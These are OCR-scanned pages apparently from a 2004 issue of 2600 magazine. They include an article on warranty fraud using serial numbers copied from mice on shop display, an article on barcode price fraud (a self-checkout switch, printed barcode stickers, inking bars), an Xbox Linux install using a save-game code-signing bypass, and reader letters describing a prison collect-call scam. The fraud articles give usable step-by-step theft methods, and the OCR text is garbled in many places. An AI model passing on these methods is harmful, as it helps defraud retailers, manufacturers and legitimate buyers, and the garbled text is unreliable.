-.jsp?prodld=fi083b8fb22. 1 

TBA can be obtained from http://www. 
—aLstake.com/research/tools/info -gathering/ 

41 The TBA Handbook is located at 
http://www.atstake.com/research/tools/ 
—info_gathering/tba_handbook.pdf 
Hello once again Mary (Nary). 


Serial Number Security 


byTEV 

How many products in shops have their se- 
rial numbers on display at all times? These 
numbers are printed onto boxes, packets, and 
products for the manufacturer to identify the 
product in question. Yet, as I'll show below 
these numbers should be treated as securely as 
PIN numbers and passwords. 

Do not do what is in this article. It is fraud 
and theft. As simple as that. This article con- 
tains nothing of a technical nature; I'm writing 
it to highlight a point and to get this noticed. 
Although I have outlined a simple scenario, 
don't do this. Once this gets read I'm sure com- 
panies will be able to spot it a mile away. 

S ' s Spring 3 0 0 V 


The example I will draw upon is optical 
mice. Let's look first at the Microsoft Intel- 
limouse. This mouse costs around 25 pounds 
and upwards depending on the model. Go into 
your nearest PC World or other High Street re- 
tailer and go find these mice. I will place a 
large bet that throughout the world these will 
be on shelves for the customers to look at be- 
fore purchasing. Some shops in the UK even 
have display models. The packaging for most 
of these is well designed to show the product 
off in all its glory, which includes a clear shot 
of the base of the mouse. There are some im- 
portant numbers, the P/N, and the PID (Prod- 
uct ID), and the model number. Write these 
details down and then go home without buying 

Page 33 


_ 



the mouse. When you get home browse 
through to the Microsoft site for their technical 
help. Ring the technical helpdesk and report 
that your mouse has stopped working. Say 
something like "the glowing red light doesn't 
work." Anything so that the customer services 
agent thinks you're the average shopper and a 
little clueless. They'll ask you for the PID, P/N, 
and the model number. Once you've given 
them these numbers you'll be told one of two 
things depending on whether you have con- 
tacted Microsoft with a similar problem or not. 
You will either be asked for your address and 
told that a new mouse is now on its way (and 
the old one can be thrown away at your discre- 
tion) or that you need to cut the USB plug from 
the old mouse and post it to them before they 
send the mouse out. From what I've seen so far, 
ringing a week later and complaining that the 
cable must have gotten lost in the post because 
you definitely sent it works - they’re just trying 
to test you a little. 

Three things to note: Firstly don't panic 
about giving out your address. As you'll read 
later there are usually no follow up calls. 

Secondly, on one discussion with a cus- 
tomer service rep I was told that each customer 
is given three "goodwill gestures." If you ring 
a fourth time saying the cable was lost in the 
post etc. you get nothing. Microsoft allows 
three replacements and any more will arouse 
investigation. But then again, why the hell 
would anyone need four mice? 

And last but not least when the new mouse 
turns up feel free to register it and when it 
breaks ask for your legitimate replacement! 

Now, why should I outline that very simple 
(simple as in if you can't do that give up now!) 
guide to social engineering? Imagine you're 
the person who went into the shop ten minutes 
after the evil fraudster and bought that mouse 
legitimately. Six months later it breaks and you 
want it replaced. Tough. We rang up MS and 
tested this out by trying to claim a mouse from 
a serial number that a replacement had already 
been issued for. We were told that the product 
was registered and we should check our num- 
ber. When we argued it we were asked to post 
the whole mouse back so they could change it. 
When we did this they changed the mouse and 
the original fraudster heard nothing. 

This is stunning. Microsoft uses their pretty 
packaging to give easy access to the serial 
numbers of the products. These numbers are 
treated as if they were generic model numbers, 
but in reality they are the password to unlock 
your warranty. 


Look around the same shop you found the\ 
mouse in. There are loads of small peripheral I 
devices that do the same, and mice are the 
biggest culprit. And don't forget, most shops 
won't mind you opening a box to have a closer 
look, so long as it doesn't break any sealed ' 
boxes. Have a look around for other product 
keys and see what turns up. I'm not going to 
turn this into a guide to fraud but you will be 
able to find other items. 

I wrote this article in order to highlight 
some real stupidity. Many large companies use 
a similar system, and seem to be operating on a 
huge amount of trust. Think about all that the 
serial numbers are used for in terms of support 
and warranty. Do you want your number pub- 
lished to the world? When I discussed this with 
a shop assistant at PC World 1 was told 1 should 
take it up with Microsoft. Not surprising, but 
when I discussed it with Microsoft I was told 
that it rarely happens and is not of any concern. { 
I'm hoping that this wasn't the official com- I 
pany line. 

Now that you've read this, go away and 
think hard about what I've highlighted. I hon- j 
estly don't support fraud. What 1 have written 
is no different than stealing the mouse from the 
shop. It's just a new method that no one has ad- | 
dressed before. If you work in hardware, make I 
sure that your product's packaging isn't reveal- I 
ing too much. Too many products are turning 
up in see through plastic packets. I'm sure the * 
product is gorgeous to look at but this makes it j 
a bit too easy to access the important details. 
Why not simply cover the serial number with a 
small label and then package it? State on the 
box that the product should not be purchased if ' 
the label has been tampered with. I'm sure that 
it wouldn't cost that much to add a small label 
to cover a dozen or so characters. And to the j 
people buying these products, when you get 
the item home, ring immediately and register 
this product with your name and don’t open the 
packet At that point you'll be told if someone 
else has registered the item. If it has been reg- 
istered, explain the situation and then take the 
product back to the shop and exchange it for 
another or ask the manufacturer for a replace- 
ment with an unregistered warranty. 

A big hello to all that know me and before 
flaming me, take a deep breath, count to ten 
and think happy thoughts. We all have differ- ; 
ent opinions and the world's a better place for 
them; just don't force them down someone's k 
throat. ; I 


Page B Âť 


ShOO Magazine 



by XlogicX article by Charles in 20:2). The other numbers 

drkhypnos314@hotmail.com are reserved. 

There are a few ways to purchase a product The next five characters (2-6) are the manu- 
with the price of another. Before I talk about facturers' code. For example. Post Grape Nuts is 
that though. I’ll review the meaning of the bars 0 43000 10370 8 and Post Waffle Crisps is 0 
and numbers on the bar code. After that. I'll ex- 43000 10540 5. All Post products should have 
plain tricks like "inking" and the "sticker." 43000 for digits 2-6. If a manufacturer has more 

What bar-space combination will make a than 100,000 different products, such as the 
meaningful number? For UPC-A, there are store brand, then you might see different codes 
about 23 different meaningful characters: one for the same brand in digits 2-6. 
start guard, one center guard, one stop guard. The next five characters (7-11) are the prod- 
ten left hand data characters, and ten right hand uct code. The last character is the checksum, 
data characters. I specify right and left because though it's a little more than a sum. To derive it 
the code is different on each side. Imagine the by hand, you take the 1st. 3rd, 5th. 7th, 9th, and 
data characters as 7-bit binary words: where the 1 1 th numbers and add them up. Multiply that 
0 is a space, and a 1 is a line. sum by three. Then add all the remaining 

iain inn n hi- 
ll ii nun ii ■■■- 

0123456789 

Notice that all left-hand characters start with numbers to that. Now what you want to do is 
a 0 and end with a 1 . Also, the right hand side is add a number to that sum that will give you a 
just the complement of the left-hand side; so if number with the multiple of ten. The number 
the bit were a 0 on the left for a certain charac- you chose for that is the checksum. The original 
ter, it would be a 1 on the right for the same code that Charles had was 5 21000 23030 8. 
character. Another thing to notice is that there 5+l+0+2+0+0=8. 8*3=24. 24+2+0+0+3+3=32. 
are two variable width spaces and lines per 32+8=40, the next closest multiple of 10 
character, no more, no less. (checksum being 8). 

Imagine that start and stop as a 3-bit charac- The Self-Checkout Switch: Prices may vary 
ter and the data being 101. These characters in this example. You purchase two 32oz Power- 
appear at the beginning and end of the code. Aids ($1.49) and a 32oz Gatorade ($1.29) for 
The center guard is the 5-bit character 01 010 -it the price of three Gatorades ($.40 savings), 
appears in the center. First, scan Gatorade, place it on the demagne- 

Now that we know how the characters are tizer, and then put the Power-Aid in the 
formed, how about the meaning of the num- bag/(scale). Do the same for next Power-Aid, 
bers? The first number specifies what kind of and then do the Gatorade finally, 
application the bar code will have. 0, 6, and 7 The advantages of this method are that it is 
mean that it is a normal UPC code. A 2 means it mechanically easy and doesn't require much 
is a weighted item like produce. 3 is the Na- knowledge. The disadvantages of this method 
tional Drug and Health related code. A 4 means are that it only works for self-check out. and the 
it is specific to that store. A 5 means it is a supervisor of the self-checkout may still find 
coupon (notice the "5" in the Coupon Trick your activities suspicious. Also, you need to 


Spring 3 0 0 V 


Page 3S 


find things around the same weight. 

The Sticker: I didn't purchase any software 
for this and couldn't find any freeware that 
would get the size how I wanted it. I didn't look 
very hard though. I did it in Paint, making each 
small line and space one pixel wide and having 
the whole bar code about 86 pixels vertically. 
The whole barcode should be about 98 pixels 
wide. 1 selected the area from 0,0 to 102.88 co- 
ordinates and copied (not arbitrarily). I pasted 
this into Word and stretched it horizontally by 
two of their units. After printing, it looks ex- 
actly like a barcode, size and everything. It also 
leaves enough room for the correct numbers to 
show through, so if I get caught, there's a 
backup plan. 

The advantage of this is that you don't need 
the extra Gatorade to buy a Power-Aid at the 
Gatorade price. Just print the barcode on a 
sticker and slap it on the Power-Aid. Another 
advantage is that now you can go to a normal 


checkout. Depending on the cashier, they prob 
ably won't notice the sticker and if you strike 
some conversation with them, they won't notice 
a different product on their monitor. You may 
want to purchase a couple of legitimate things 
to throw them off though. This method also 
looks less suspicious than the self-checkout 
switch. One downside is that you could still get 
caught if the sticker is identified or if a different 
product is noticed by a cashier (or supervisor of 
self-checkout). 

Inking: This is my favorite method, and by 
far the least useful. What you do is take a non- 
glossy pen and widen some lines to change the 
code. This is hard to do, since the changed line 
should actually be a number, the changed num- 
bers should actually be a product, and the prod- 
uct should hopefully be cheaper. I made myself 
a chart of the convertible numbers on the left 
and right side, respectively. 





811 81 I 8 

1 I II 1 




A practical example would be converting those 
two Post products I demonstrated earlier. Grape 
Nuts was 0 43000 103708 and Waffle Crisps was 
0 43000 10540 5. To change Grape Nuts to Waffle 
Crisps, you convert the three to a five, the seven to 
a four, and the eight to a five (notice they're all on 
the right side since the manufacturer part would be 
the same). 

Although this is a limited method, as long as 
it's not done in front of a camera you probably will 
not get caught. You would also get Uber-Hardcore 
points for doing it this way. I've only done this 
once successfully and have definitely gotten it 
wrong a couple times. 

Shouts: Prof. Tomasi, Evin, and 2600 Phoenix. 

S bOO Haqazine — ' 







Deb i an 


Unmodded 



ur 

hav'fi”J[i)ur \Tf5\, you're bored of 
[he gaaM that you have, you fancy! a chal- 
leng^^^wny not install GNu7Cmux on it? 
Everyone has heard things on the web about 
the efforts to make various distributions run 
on the Xbox and of course there are many 
horror stories of people making their Xboxs 
into nice door stops. However, installing 
Linux is surprisingly easy provided you 
know what you are doing. 

Back in 19:4 Live_wire showed us how to 
install Ed’s Debian on a modded Xbox. Since 
then there have been many advances in what 
you can do with your Xbox and many more 
distros have appeared, including Gentoox (a 
Gentoo clone), Slothbox (a Slaekware clone), 
plus a release of Mandrake and SuSE. Ed's is 
the most mature and one of the better main- 
tained. All the distros and information on 
them, along with more detailed technical 
documents are available from the xbox-linux 
website over at http://xbox-linux.sf.net. The 
SourceForge project page (http://www. 
•sourceforge.net/projects/xbox-linux) hosts 
all the files needed in this little howto. 

A word of warning: Some things can and 
will go wrong. The author doesn't take any 
responsibility if Bad Things happen when in- 
stalling Linux on your Xbox. If in doubt, 
don't try it. 

Before you start you should have the fol- 
lowing things at hand, otherwise you will end 
up having to go to the store halfway through 
the operation. An approximate equipment list 
follows (some parts are optional): 

An unmodified Xbox. 

A USB keyboard. 

A USB memory device (i.e., a memory stick 
l or USB zip drive). 


•Spring 3 0 0 V 


A USB mouse (optional). 

A USB hub (optional). 

The game 007: Agent Under Fire for Xbox. 

A computer running Linux (kernel 2.4.20 or 
2.4.21 with source and development tools). 

A network (in some form). 

A relatively high speed Internet connection. 
Patience. 

Presuming that you have already read 
Live_wire's article you should have a work- 
ing USB adapter. If not. go away and make 
one then come back. Once you have a USB 
adapter made, plug in a USB memory stick. 
The Xbox will detect it in the Dashboard and 
it will show up under memory. The Xbox will 
want to format it, so make sure you don't 
have anything important saved to it that you 
want to keep. 

All programs running on the Xbox have to 
be digitally signed by Microsoft. This means 
that it is very hard to run code that you are 
not supposed to. However, workarounds have 
been found. There are bugs in certain games 
which allow non-signed code to be executed. 
On a very basic level, this is done by crashing 
the Xbox whilst loading a game, then getting 
it to load Linux instead. This can be done in 
both MechAssault and 007: Agent Under 
Fire. What follows is how to do it with 007: 
Agent Under Fire. 

There are quite a few ways to get the 007 
hack onto the Xbox. The one I will describe 
uses a Linux workstation. This method does 
not require you to open the Xbox up but does 
require you spend a little money on a USB 
memory stick. You can pick these things up 
for around 20 pounds in most computer 
stores (probably cheaper online). Make sure 
that the stick is supported by the Linux 
usb-storage.o driver. . 

7 — S 


■Page 3\ 



' For this you will need a Linux PC with all 
the standard development tools (gcc. make, 
and everything else you need to build the ker- 
nel). You will also need the source to the 
2.4.21 kernel. I presume at this point that you 
know what you are doing and have compiled 
the kernel before (if not. go and compile a 
few to practice then come back). 

Okay, now we need to patch the kernel 
with support for the FATX file system. This is 
what the Xbox uses to format its hard drive 
and also its memory cards. I will show two 
ways of patching the kernel and it depends on 
how lazy you are as to which you pick. 

The first way is to use CVS. You need to 
get some of the current pre-patched sources 
from the xbox-linux cvs site such as the 
2.4.21 kernel source. This requires that you 
have cvs installed. Assuming you have it in- 
stalled. create a directory (say ’Vusr/src/tmp") 
and execute this command in there: 
cvs -z3 -d: pserver : anonymousiscvs . 

~ source forge . net : /cvsroot/xbox- llnux 
ÂŤ*co kernel 

This might take a while but eventually 
you'll have downloaded the needed kernel 
source files to the directory. An "Is" will show 
you have one directory named "kernel." This 
folder contains the Xbox specific files for the 
kernel. All you need to do now is copy the 
(Xbox specific) files across to the actual ker- 
nel source tree, replacing as you go. Assum- 
ing that the source was unzipped to 
7usr/src/linux" and the cvs files are in 
"/usr/src/tmp" we execute this command: 
cp -rf /usr/src/tmp/kernel/* /usr/ 
•*src/ linux/kernel/ 

Once you've done this, change directory 
to the real kernel source (e.g. "/usr/src/linux") 
and do a "make config", "make menuconfig", 
or "make xconfig" as usual. Now you can 
carry on configuring the kernel. 

If you don't like cvs. prefer kernel 2.4.20, 
or if you find a patch file easier to use, you 
might be better off using an older patch that 
is still available from the project page but not 
recommended. At the time of writing the file 
was called "kemel-2_4_20-0_7_0.patch.gz." 
This is just a normal kernel patch file. Once 
you have untar/gzipped your 2.4.20 kernel 
source file (I assume to "/usr/src/linux" from 
now on), copy the patch file to a level above 
(e.g. "/usr/src"), then change directory to the 
source. Once you’re there, execute the 
1 following command: 


zcat . . /kernel-2_4_20-0_7_0 . patch. 1 


This will apply the patch to the kernel. 
You should have a list of files scroll up the 
screen that have been changed by the patch. 

Now that your kernel is patched, it's time 
to configure it. 

The first option you need to add is support 
for the USB memory card (if you already had 
this, then ignore this section). The USB stor- 
age driver is really just some glue code be- 
tween the USB and SCSI subsystems. So, 
first things first - add SCSI support. It's your 
choice if you want to do these as loadable 
modules or as built-ins. The SCSI options 
you want are SCSI Support and SCSI Disk 
Support. Exit the SCSI menu and go into the 
USB Support. In there you'll need Support 
for USB, Preliminary USB Device File Sys- 
tem, USB Mass Storage Support, and one of 
the USB Host Controller Devices. The last is 
up to you to choose. If in doubt select all of 
them as modules and see which one loads. 

Now to add the support for FATX. This is 
done in the File Systems menu. The only op- 
tions that you need to enable are FATX 
(Xbox) fs support, then within Partition 
Types select Advanced Partition Selection 
and then Xbox Support. Now you can exit, 
saving your changes. Compile the kernel as 
you would normally. Remember to re-run lilo 
(or whatever bootloader you use) and then 
reboot with your new kernel. 

Now we have a brand new kernel and all 
the tools that we need to copy the save game 
file to the memory card. First - to download 
the files we want. On the xbox-linux Source- 
Forge project page there is a file called 
007distro.tar.gz. This file contains everything 
you need to get Debian onto your Xbox (be- 
ware: this file is quite large, over 200 megs). 
Unzipping the file will leave you with two 
folders. One is name memcard, the other is 
called harddisk. You can ignore the latter for 
the moment as we don't need it until further 
on in the process. 

In the memcard folder there is an .ini file 
and also a directory called UDATA. What we 
are interested in are the contents of the 
UDATA folder. In there is a directory called 
4541000d. This is an Xbox game save. In it is 
the game that will crash the Xbox and load 
Linux. Now you need to copy just this folder 
to your memory stick. 


Mount the drive as usual and copy the di- 
rectory over. To check that the copy has gone 
okay you can load up the Dashboard on your 
Xbox and in the Memory menu you should 
be able to see your card and also see that 
there is a game save on the device. All that is 
left for this part now is to copy the save game 
to the hard drive of your Xbox. This may take 
a couple of seconds as the files are relatively 
large. In my experience, sometimes the Xbox 
will say that the game files arc corrupted or 
will try to format the device. All you have to 
do is try again. Remember that the FATX dri- 
ver is still in its early days and things can 
(and probably will) still go wrong. 

The actual installation is relatively easy. 
Plug in your keyboard, but leave your con- 
troller in too as you'll need it to control things 
at first. Now load 007: Agent Under Fire. 
Wait until you get to the main menu screen. 
Select Load Game, then Xbox Hard Drive. 
This might take a while but eventually you'll 
get a kind of chime noise and xromwell (the 
boot loader) will display some information 
for you. At this point it'll tell you the size of 
your Xbox hard drive. This will be essential 
for later but it's very fast so try to spot it and 
remember it. 

After xromwell has done its thing there 
follows the normal kernel boot process, mod- 
ules will load, and BusyBox will start up. 
You might need to hit enter a couple of times 
to get things to start up. Once you do there 
will be the normal login prompt. You can lo- 
gin as root with the password xbox. Now you 
need to get the installation files onto the 
Xbox. Probably the easiest way to do it is to 
put it on another computer running an http or 
ftp daemon, then use wget to fetch the file 
from there. The file you want to be serving is 
the contents of the harddisk directory from 
the 007distro.tar.gz file. You can tar and gzip 
it to aid transport over the network as Busy- 
Box has those tools at your disposal. Alterna- 
tively. you could use Samba to transfer the 
file by just mounting the appropriate share on 
your Samba server. 

Before you start the transfer you might 
want to check the network settings. By de- 
fault the IP address is set to 192.168.0.64/24 
with a default gateway at 192.168.0.1. You 
can use the usual tools to set them differently 
or if you're using DHCP, dhclient is 
available. 


You want all of these files in the /media/E\ 
which is the part of the Xbox hard drive used 
for game saves. The partition is about five gi- 
gabytes big so unless you've been saving lots 
of games and/or audio there should be plenty 
of space for the file. Now we must replace the 
linuxboot.cfg file with a version that points to 
the files we have just copied over, so we 
execute: 

cp /media/E/linuxboot . cfg /media/E/ 


If you are running low on space you can 
delete the tar.gz file which we downloaded. 

Now we can reboot and pull off the 007 
trick again to boot into Linux once more. 
Now when you boot there should be X-Win- 
dows running. Hopefully this will boot and 
give you a login. You can plug in your USB 
mouse now if you like, although you can use 
the Xbox controller to make the cursor move. 
Once you login as root (with password xbox) 
you will see Window Maker start up, get a 
terminal, and execute: 
/sbin/XBOXLinuxInstaller 

This will start up a little graphical tool 
asking you some questions. These are 
straightforward, network setting etc., al- 
though there is one that can cause some trou- 
ble. That is the choice between installing to 
the E partition (where the game save files are) 
or to the spare unpartitioned space on the end 
of the hard disk. This is where you have to re- 
member the information that xromwell told 
you earlier. The original Xbox had 8.4 giga- 
byte drives whereas the newer models have 
10 gigabyte drives. Now if you have an old 
model, you can’t install Linux in the unparti- 
tioned space. You have to install to a loop- 
back file in the E partition. On the other hand, 
if you are lucky and have a newer device then 
the choice is up to you. 

Assuming you made your decision, you 
can wait and let the installer get all of the files 
copied over and then reboot. It is possible 
that the install might not have worked, in 
which case you can repeat the final part 
again. This happened to me a number of 
times but practice makes perfect. If there 
were no errors then you have succeeded in in- 
stalling Linux on your Xbox. Congratulate 
yourself by apt-get update-ing and down- 
loading some new free software. 

Shouts: Wilz, Woody , Druga. and miki_. 


Spring 3004 


Page 31 


fffllMD -Cx-EJKIS-ES 



\ 

/w 

/w 

/w 


Assorted Questions 

Dear 2001): 

Can you tell me when article submissions close for 
the next edition? 1 have an idea for tut article I'd like to 
submit, but haven't put pen to paper yet. Just want to 
know my time frame. 

Jason 

While Âťe try In keep a strict deadline for ourselves, 
oftentimes articles are selected for a future issue rather 
than the current one. In other words, it doesn't really 
matter if you miss one of our deadlines. Just send us 
what you have. Plus, we're always missing our 
ilecullines anyway. 

Dear 2600: 

I have been reading through hours and hours of 
Bush commentary and I think, in fact at this point I am 
sure, that Bush is wearing an earpiece whenever he is 
talking to the press. Please tell me you can intercept or 
know anyone that can intercept this signal. 

Andrew 

If this is true, you would lutve to be pretty close to 
the signal in ortler to intercept it. Tluil in itself would be 
a far bigger challenge. But assuming you somehow 
managed to intercept and possibly alter whatever mes- 
sage was being sent, the result would probably be a lot 
of confusion and commentaries then didn't make much 
sense. Do you honestly think anyone would notice the 
difference ? 


Dear 2600: 

I realize that most of you don't agree with projects 
like TIA or Big Brother, but at the same time you want 
all information public. How do these two coexist? 
Would you agree with Big Brother if anyone could ac- 
cess the information it collected? Keep up the great 
work. 


tchnprgrmr 

Actually we know of very few people who want all 
information to be public. We believe information, par- 
ticularly that Of a private nature, needs to be protected. 
Often this isn’t the case and one of the best ways of de- 
termining this is for systems to be constantly tested for 
security holes. This leads to the messenger frequently 
being blamed for the message. Hackers who uncover 
unprotected private information are treated as if they 
created the weak security when all they did was figure 
out a way to defeat it. The media portrays them as the 
threat to your privacy when in actuality hackers do 
much more to protect it. We consider their actions to he 
responsible, especially when they reveal their findings 
to the world. 

Meanwhile, all kinds of corporate and governmen- 
tal entities seek to invade our privacy on a constant ba- 
sis for reasons ranging from surveillance to marketing. 
While it would solve nothing to give everyone access to 
the information these entities collect, it's extremely im- 
portant to understand exactly what they're doing and 
how, as well as ways to protect oneself from such 


intrusions. This is something else they don't want you to 
know. 

Dear 2600: 

Could you help me? What date can be considered 
birthday of 2600? Thank you in advance. 

Alexey 

NfP "Informzasehita", Russia 

2004 is our 20th anniversary so we consider every- 
day <if this year to be fair game. 

Dear 2600: 

I have read a couple of letters about others who 
have found an exploit with a given computer system. I 
myself have reported a computer firewall issue and got- 
ten myself fired for my troubles when I was really try- 
ing to help them. Is there a legal way to do this without 
getting oneself in hot water? 

Multivac_Klcenex 

Maybe ilie best way would be to anonymously 
disclose the information to a magazine. 

Dear 2600: 

I'm thinking of starting a meeting in my city. Unfor- 
tunately, I’ve never had the opportunity to actually at- 
tend a 2600 meeting. Can you tell me what basically 
happens at these meetings? Arc they organized by any 
one person and if so. how are they run? How many peo- 
ple arc usually in attendance (on average)? I just want 
to make sure that if 1 go ahead with this, I do it right. 
One way that 1 would like to survey the interest in start- 
ing a meeting here is to print inserts and put them in the 
2600 issues in my local Chapter bookstores, requesting 
that those interested contact me to assert their interest. 
In order to gel the inserts in as many issues ax possible. 
I’d like to do this as soon as an issue comes out. Can 
you tell me when the issues hit newsstands? 

N ,cow 

Meetings are open to everyone and there is no set 
agenda. To many, ’'gathering" would be a better de- 
scription. We don't tolerate any kind of disruptive, ex- 
clusionary, or illegal behavior and many are surprised 
by how little of that we've had to deal with. You don't 
have to be an expert in any particular field but curiosity 
and open-mindedness are essential if you want to get 
anything nut of a meeting. More info t an be found on 
our website (www.2600.com/meelings). You can also 
find out when an issue is about to hit the stands on our 
main page. 

Dear 2600: 

We have a phone phreak/phone tapper. How can I 
stop them from recording my phone? Help. 

moviestardog04 

This is about as unclear a question as we've ever 
gotten hut let's try anil answer the part about someone 
tupping your phone. First off. you must be aware of this 
for some reason. How did you find out? Could there be 
a connection between how you found out and the per- 
son who's doing this? Have you checked your home or 
office to look for any unknown devices attached tv the 

3 l n n 


3 


/ nhnne tine? Have you checked outside your building? 
Do you use a wireless phone that can be picked up from 
the outside? We hope our questions have helped to an- 
swer yours and also demonstrate how to clearly ask a 
question. And if your "phone phreak/photte tapper" is 
part of the government, phone company, or law 
enforcement there are all kinds of other possibilities 
involving internal access to the phone network. 

Dear 2600: 

I wrote a term paper on hacking as a culture. I was 
wondering if I could possibly submit it to you. It may 
give your readers a bit of entertainment.... 

Jerry 

It can't hurt to send it in. 

Dear 2600: 

I was watching Takedown recently and I was won- 
dering if anyone else noticed that the real Shimomura 
was seated next to Donal Logue in the scene where 
"Shimomura" was announcing the hack on his system? 

Phrcakinphun 

And mocking himself too. It was one of those inside 
jokes. 

Con Game 

Dear 2600: 

This actually just happened today only minutes 
ago. This pertains to anyone living in the U.S. I'm not 
sure if it applies to correctional facilities am or oper- 
ated outside of the U.S. 

About an hour ago 1 got an assload of collect calls 
from a jail from an inmate named "Antoine." When you 
receive a phone call from an inmate inside any prison, 
penitentiary, or county jail an automated operator 
comes on to tell you this is a collect call coming from 
whatever prison, penitentiary, or county jail. (The name 
of the jail will also sometimes appear on your caller 
ID.) You are charged around $2.00 for the initial call 
and about 13 cents for each additional minute. Then the 
inmate is told to say their name. But this particular call 
was an actual message: “Hey man, this is Antoine - 
please. I’m in trouble... just press zero!!!” 

Now because 1 don't know anyone by this name. I 
hung up laughing. But then to my surprise he called 
back three or four limes with the same message, each 
one a bit more persuasive. The calling finally stopped. 

1 called up my telco provider and explained what 
had happened. (The reason I was calling was just to 
make sure my number was unlisted.) She gave an em- 
pathetic laugh and proceeded to tell me of a scam that 
they now have running inside this particular jail (she 
also said that she has heard of this scam running in a 
few different facilities across the United Slates as well). 

The inmate will proceed to try and persuade the un- 
suspecting caller that he/she is a relativc/friend and in 
trouble just to get the initial call past the automated op- 
erator. Once this is done the inmate will apologize for 
lying and give a sob story. Once the inmate has the per- 
son's trust he/she will then ask them to press *72 so he 
or she can notify his or her family and or friends. 

This from a state or federal prison/jail will create a 
third party call that will be charged to the person that 
initially accepted the collect call. After pressing *72 ei- 
ther the caller or the person that accepted the call can 
then dial a number. This basically allows an inmate to 
i make free calls at the cost of someone's kind heart. 


To have your number blocked from any collect' 
calls coming from a prison, penitentiary, or county jail 
you can call your local phone company. 

Darkstorm777 

This is an interesting story but it sounds as if some 
details are being left out. *72 followed by a phone num- 
ber will forward your phone line to that number. (The 
phone number cannot be dialed directly by anyone 
other than the subscriber . ) That could be what the scam 
is here but you'd have to be monumentally stupid to go 
through all the steps needed to fall for it (accept collect 
call, follow instructions from convict to dial *72 fol- 
lowed by a specific phone number, connect to that num- 
ber and then hang up, not notice all the times your 
phone gives partial rings to indicate that it's being for- 
warded). Not to mention the fact that relatively few 
people even have the call forwarding service on their 
lines. In the end though, if someone calls your number 
and is forwarded to a different number, the person an- 
swering can happily accept colled calls on your be- 
half. Of course it's not a very smart scam since you'll 
have their phone number on your bill ( unless your 
phone company is as equally dim as anyone who falls 
for this). 

Random Feedback 

Dear 2600: 

Semicerebral has a legitimate complaint regarding 
Sony's Open MG Jukebox software not uploading mu- 
sic via USB from his minidiscs. I don't know if Sony, 
Dcnon, Awai. Sharp, el al have any portables or min- 
isystems with optical outputs, but if he wants to keep 
the sound quality up there, here's a ($350) solution to 
record digitally to his peecee rather than via an analog 
input: An MD deck with an optical output (Sony's 
MXD-D400) and a Soundblaster soundcard with digital 
ins and outs. He'll find what he needs at www.mini- 
disco.com, real people who actually use MD. They 
have lots of cool stuff. Good luck and don't give up on 
the best sound recording format of all time. 

Osama 

Dear 2600: 

In 20:3, Scmicerebral expressed justifiable anguish 
at Sony's stupid policy of "no digital out" on its mini- 
disc recorders. Fortunately, that restriction only applies 
to the portable models. Many of the "home” decks do 
have both digital and optical out. Using a Sony JB940 
MD deck. I regularly produce CD's of my band by 
connecting its optical out to a standalone CD 
"home" recording/dubbing deck. More info al 
www.minidisc.org. 

Anton 

Dear 2600: 

In response to Big B. Statz's letter in 20:3, I would 
like to say that the social engineering that they de- 
scribed with a Fedex uniform is nothing new. In the 
seventies, Jerry Schneider and his sidekick used sec- 
ondhand Pacific Telephone and Telegraph (PT&T) 
equipment to steal more equipment from IH’&T ware- 
houses. But what is disturbing about what Big B. said is 
that this problem emerged 30 years ago and it is still 
here. It seems that failure to learn from past mistakes is 
not simply a problem in certain large software corpora- 
tions (there's one in particular I'm thinking of), but in 
business and society in general. Those who do not learn , 


9 


3 


from their history are doomed to repeat it. 

Performaman 

And the rest of us are doomed to hear that phrase 
repealed constantly. 

Dear 2600: 

Shade's "The Hacker Diet" in 20:3 was very useful. 
I’ve told and shown quite a few people the article and 
they all said the same thing: "better to overcook than 
undercook." But they agreed on the utility. I’m on my 
way to freeing myself from take-out, so I just want to 
say "Thank you!" to Shade. 

Amit Jain 


Dear 2600: 

After not reading your magazine for quite a few is- 
sues, I picked up a copy of 20:3. 1 read it through and 
found some interesting articles, but I was troubled by 
your article "The Hacker Diet." It begins with a quote 
"...a healthy diet high in protein is power" but then con- 
tinues to list bland, pathetic recipes, most of which are 
high in starch and fat but very low in protein. Shade 
mentioned that "pasta is complex carbohydrates... diffi- 
cult for your body to break down." While this is true, 
complex carbohydrates are very easily broken down by 
your body. In fact, complex carbohydrates are broken 
down by your hody before they even enter your stom- 
ach by an enzyme in your saliva. If you want to experi- 
ence this breakdown firsthand, take an unsalted cracker 
and leave it in your mouth for a minute or so... it will 
begin to taste sweeter because the enzyme amylase is 
breaking down the starch. 

Shade failed to mention some recipes which are 
just as easy to prepare but arc actually high in protein. 
A simple tuna melt on whole grain bread would contain 
a much higher ratio of protein and provide a hacker 
with much more energy than a bowl of pasta. All that's 
required for that recipe is a can of tuna a bag of pre- 
shredded cheese, and a loaf of bread. 

Shade also neglected to mention "glycemic index" 
which is a very important factor to consider when con- 
suming carbohydrates. The glycemic index of a food 
determines how fast the food will be digested and its 
sugars enter the blood stream. In the case of pasta, you 
might as well eat an equivalent amount of white sugar 
because pasta is broken down so fast by your body that 
it does not provide the sustained energy you require. 
Further. Shade failed to mention calories at all. Anyone 
who's actually read the on-line document "The Hackers 
Diet" will know that calories in minus calories burned 
equals weight gained or lost. Shade should’ve recom- 
mended eating less calories than "a bunch of pasta" and 
30 minutes of exercise daily which would not only bum 
more calorics but also increase metabolism and provide 
for more energy. 

Finally, Shade failed to mention the most important 
aspect of a hacker's diet: amino acids. Amino acids 
make up proteins and different protein sources contain 
different amino acids... eating a diet consisting of 
mainly pasta will deprive the body of much needed 
amino acids. Many amino acids are precursors to brain 
neurotransmitters which are obviously very necessary 
for a hacker who is taxing his mind working on his lat- 
est project. Without a diet containing all essential 
amino acids, a hacker is putting himself at a handicap. 
A cheap simple source of every essential amino acid is 
wheatgrass juice which can be purchased at any 


respectable juice shop or made at home with a rela-\ 
lively inexpensive wheatgrass juicer. All in all, this arti- 
cle was completely useless to anyone trying to hack 
their diet and I am ashamed of Shade's completely in- 
adequate eating recommendations. Anyone who fol- 
lows Shade's diet will probably be sluggish, dull 
minded, and gain a lot of weight too. 

Adam Rzepka 

Dear 2600: 

Referring to the Nokia hack ( *300 1 # 1 2345#): After 
you go into the hidden menu and set your phone to dis- 
play the network information, if you hold down the * 
key fin the main display) alternate network information 
will be displayed. Maybe it's not alternate but it is 
slightly more understandable than the regular informa- 
tion because it uses abbreviations and such. 

FIE 

Dear 2600: 

This is in response to a letter in 20:4 written by 
Ken. wherein he stated that the terms "white hat" and 
"black hat" are coined due to inherent racism which is 
present in our society in general and the hacking 
community in specific. 

However, white hats and black hats were identifiers 
in old black and white gangster movies. The good guys 
(cops. FBI agents, and the like) wore white hats, and 
the bad guys (gangsters, drug dealers, bootleggers, et 
